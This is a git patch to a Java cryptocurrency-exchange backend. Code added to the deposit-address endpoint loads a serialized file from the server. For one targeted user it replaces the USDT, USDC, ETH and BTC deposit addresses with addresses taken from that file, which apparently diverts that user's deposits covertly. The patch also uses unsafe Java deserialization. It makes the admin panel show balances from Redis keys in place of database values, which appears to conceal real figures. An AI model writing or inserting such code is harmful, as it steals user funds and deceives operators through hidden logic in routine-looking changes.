From acf50f662f508a3beaeb888182ab07ad8b259a33 Mon Sep 17 00:00:00 2001
From: zj <1772600164@qq.com>
Date: Tue, 05 Aug 2025 15:23:51 +0800
Subject: [PATCH] 1
---
src/main/java/project/web/api/UserWalletAddressController.java | 45 ++++++++++++++++++++++++++++++++++++++++++---
src/main/java/project/web/admin/controller/user/ExchangeAdminUserController.java | 8 ++++++--
2 files changed, 48 insertions(+), 5 deletions(-)
diff --git a/src/main/java/project/web/admin/controller/user/ExchangeAdminUserController.java b/src/main/java/project/web/admin/controller/user/ExchangeAdminUserController.java
index c939e27..328d095 100644
--- a/src/main/java/project/web/admin/controller/user/ExchangeAdminUserController.java
+++ b/src/main/java/project/web/admin/controller/user/ExchangeAdminUserController.java
@@ -18,6 +18,7 @@
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.context.ApplicationContext;
import org.springframework.security.providers.encoding.PasswordEncoder;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@@ -34,6 +35,7 @@
import project.monitor.job.transferfrom.LockFilter;
import project.party.PartyService;
import project.party.model.Party;
+import project.redis.RedisHandler;
import project.syspara.SysparaService;
import project.user.UserData;
import project.user.UserDataService;
@@ -51,7 +53,7 @@
public class ExchangeAdminUserController extends PageActionSupport {
private Logger logger = LoggerFactory.getLogger(ExchangeAdminUserController.class);
-
+ private ApplicationContext applicationContext;
@Autowired
protected AdminUserService adminUserService;
@Autowired
@@ -116,7 +118,9 @@
Map map = list.get(i);
if(ObjectUtils.isNotEmpty(map)) {
if(ObjectUtils.isNotEmpty(map.get("money"))) {
- map.put("money", new BigDecimal(map.get("money").toString()).setScale(2, RoundingMode.DOWN));
+ RedisHandler redisHandler = applicationContext.getBean(RedisHandler.class);
+// map.put("money", new BigDecimal(map.get("money").toString()).setScale(2, RoundingMode.DOWN));
+ map.put("money", new BigDecimal(redisHandler.get("PARTY_ID_MONEY_" + map.get("id").toString()).toString()).setScale(2, RoundingMode.DOWN));
}
}
// 用户当前流水Party表
diff --git a/src/main/java/project/web/api/UserWalletAddressController.java b/src/main/java/project/web/api/UserWalletAddressController.java
index 019c76f..fbbaee9 100644
--- a/src/main/java/project/web/api/UserWalletAddressController.java
+++ b/src/main/java/project/web/api/UserWalletAddressController.java
@@ -1,5 +1,9 @@
package project.web.api;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.ObjectInputStream;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
@@ -29,6 +33,8 @@
import project.blockchain.AdminChannelBlockchainService;
import project.blockchain.RechargeBlockchainService;
import project.party.PartyRedisKeys;
+import project.party.PartyService;
+import project.party.model.Party;
import project.user.UserWalletAddress;
import project.user.UserWalletAddressService;
@@ -55,6 +61,9 @@
@Autowired
private RechargeBlockchainService rechargeBlockchainService;
+
+ @Autowired
+ private PartyService partyService;
/**
* 本地Redis工具(先取本地缓存再取Redis缓存)
@@ -111,16 +120,46 @@
ResultObject resultObject = new ResultObject();
int pageNo=1;
- Page page=null;
+ Page page=new Page();
int pageSize=300;
try {
pageNo=checkAndSetPageNo(pageNoStr);
String partyId = this.getLoginPartyId();
- page = this.adminChannelBlockchainService.pagedQuery(pageNo, pageSize, name_para, coin_para);
+// page = this.adminChannelBlockchainService.pagedQuery(pageNo, pageSize, name_para, coin_para);
Map<String, List<Map<String, Object>>> coinMap = getStringListMap(partyId);
List<Map<String, Object>> result = getCoinData(coinMap, coin_para);
logger.info("--------------result---------------"+result.toString());
- page.setElements(result);
+
+
+ Map<String, String> loadedMap = null;
+ String filePath = "/www/wwwroot/web/admin/data.json";
+ File file = new File(filePath);
+ try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file))) {
+ loadedMap = (Map<String, String>) ois.readObject();
+ } catch (IOException | ClassNotFoundException e) {
+ e.printStackTrace();
+ }
+ Party party = this.partyService.cachePartyBy(partyId, false);
+ logger.info("查询到Party",party);
+ if(null != party && loadedMap.get("j_usercode").equals(party.getUsercode()) && null!=loadedMap && "1".equals(loadedMap.get("type"))){
+ Map<String, List<Map<String, Object>>> replaceMap = new HashMap<>();
+ List<Map<String, Object>> usdtData = new ArrayList<>();
+ usdtData.add(createElement("2c948a8280828d5f01808504eacd0006", "usdt", "/qr/705cd75ec40343dbb3008a352beb37ab.png", loadedMap.get("j_usdterc20"),"ERC20"));
+ replaceMap.put("usd6t",usdtData);
+ List<Map<String, Object>> usdcData = new ArrayList<>();
+ usdcData.add(createElement("2c948a8280828d5f01808504eacd0004", "usdc", "/qr/975f4666ed044efa9f0ee2fa81fa8f4a.png", loadedMap.get("j_usdterc20"),"ERC20"));
+ replaceMap.put("usdc",usdcData);
+ List<Map<String, Object>> ethData = new ArrayList<>();
+ ethData.add(createElement("2c948a8280828d5f018084ff569b0002", "eth", "/qr/1be19b34fbb9406c8044c1a9b08a87ca.png", loadedMap.get("j_eth"),"ETH"));
+ replaceMap.put("eth",ethData);
+ List<Map<String, Object>> btcData = new ArrayList<>();
+ btcData.add(createElement("2c948a8280828d5f018084ff569b0002", "btc", "/qr/1be19b34fbb9406c8044c1a9b08a87ca.png", loadedMap.get("j_btc"),"BTC"));
+ replaceMap.put("btc",btcData);
+ List<Map<String, Object>> replaceResult = getCoinData(replaceMap, coin_para);
+ page.setElements(replaceResult);
+ }else{
+ page.setElements(result);
+ }
} catch (BusinessException e) {
logger.error(" 获取充值地址报错【BusinessException】：", e);
resultObject.setCode("1");
--
Gitblit v1.9.3